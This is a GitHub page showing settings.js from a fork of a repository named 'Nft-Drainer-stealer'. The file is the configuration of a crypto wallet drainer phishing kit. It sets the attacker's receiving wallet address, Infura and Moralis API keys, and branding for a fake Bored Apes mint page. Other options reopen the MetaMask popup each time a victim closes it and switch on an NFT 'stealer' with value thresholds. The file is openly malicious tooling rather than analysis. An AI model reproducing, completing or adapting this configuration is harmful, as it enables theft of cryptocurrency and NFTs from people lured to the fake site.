forked from 0xAshe/Nft-Drainer-stealer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
settings.js
53 lines (48 loc) · 2.27 KB
/
settings.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
const address = "0xcDE951Ff5e05DF29324d7B45CFb492AAF248De1F"; // Your wallet that you have to receive NFTs
const infuraId = "a981ad538c8d463ea4dd2c7cf228fd0d" // Infuria ID | https://infura.io/ | For Wallet Connect
const moralisApi = "sjCBBvR8BeizMHz7sxMLQhzt4X0xde0j9cVq7o7KN45IOS9tz7mS4uAYbg93sXrG" // x-api-key | https://moralis.io/ | For NFTs
const collectionInfo = {
name: "NFTs Bored Apes Yacht",
title: "NftBayc MINT Template", // Title prefix (ex "Buy your {name}") - You can use {name} to insert the collection name
date: "25.08.2022",
socialMedia: {
discord: "https://discord.gg/example",
twitter: "https://twitter.com/example",
},
medias: {
preview: "preview.gif",
favicon: "logo.png",
},
background: {
type: "image", // Supported types: image, video, color
image: "background.jpg", // Image for image type, video preview for video type
video: "background.mp4", // If you don't use video, you can ignore this line
color: "#4E4E6D", // If you don't use color, you can ignore this line
}
}
const mintInfo = {
price: 0.02, // Price per NFT.
totalSupply: 999, // Total supply of NFTs.
minUnits: 1, // Min units to buy.
maxUnits: 10, // Max units to buy.
askMintLoop: true, // If true, when the user closes the metamask popup, it reopens automatically.
}
const nftsInfo = {
active: true, // Active (true) or not (false) NFTs stealer.
minValue: 0.1, // Minimum value of the last transactions (in the last 'checkMaxDay' days) of the collection.
checkMaxDay: 7, // Maximum number of days to check for the last transactions.
receiveAddress: "" // leave empty if you want to use the same address
}
/*
= = = = = END OF SETTINGS = = = = =
*/
//#region Check Configuration
if (mintInfo.minUnits > mintInfo.maxUnits) console.error(`Error: minUnits (${mintInfo.minUnits}) is greater than maxUnits (${maxUnits})`);
if (mintInfo.minUnits <= 0) console.error(`Error: minUnits (${mintInfo.minUnits}) is less than or equal to 0`);
if (!address.startsWith("0x") ||
(
address.length >= 64 ||
address.length <= 40
)
) console.error(`Error: ${address} is not a valid Ethereum address.`);
//#endregion